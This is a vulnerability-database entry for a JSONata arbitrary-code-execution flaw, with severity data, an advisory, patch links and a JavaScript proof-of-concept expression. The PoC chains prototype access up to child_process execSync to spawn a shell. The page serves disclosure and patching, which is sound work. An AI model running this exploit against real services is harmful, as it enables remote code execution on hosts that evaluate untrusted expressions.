CVE-2026-77415
criticalpriority · track · 0EPSS 0.009 · 59 %ileRUUSEPSS · scored 2026-10-28
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.1–9.8
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-66mm-25pp-rfffJSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions2026-08-21ghsa · osvUS
Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to: - overwriting `$clone` allowing mutation of objects via transforms (see [`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314)) - it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`) - [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675) using `proc.arguments.forEach` and not `Array.prototype.forEach` Which could be chained to execute arbitrary code. This was fixed with: - https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802 Which are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.*)[1]; $fn := function($a) { ( $a({"value":"lg"},"__lookupGetter__"); $a({"value":"x"},"x"); ) }; $nop := function() { $ }; $capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | }; $ ~> | $ | $m([$nop,{"_jsonata_lambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"_jsonata_lambda":false}]).body}|; $func := $m([$,{"_jsonata_lambda":true}]); $func(); $gP := $obj.lg("__proto__"); $afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")()}; ) `); await expression.evaluate({}); ``` ## References - https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc - https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (11) nvd
External citations — patches, advisories, analysis.
- https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06
- https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e
- https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2
- https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159
- https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d
- https://github.com/jsonata-js/jsonata/pull/799
- https://github.com/jsonata-js/jsonata/pull/800
- https://github.com/jsonata-js/jsonata/pull/802
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan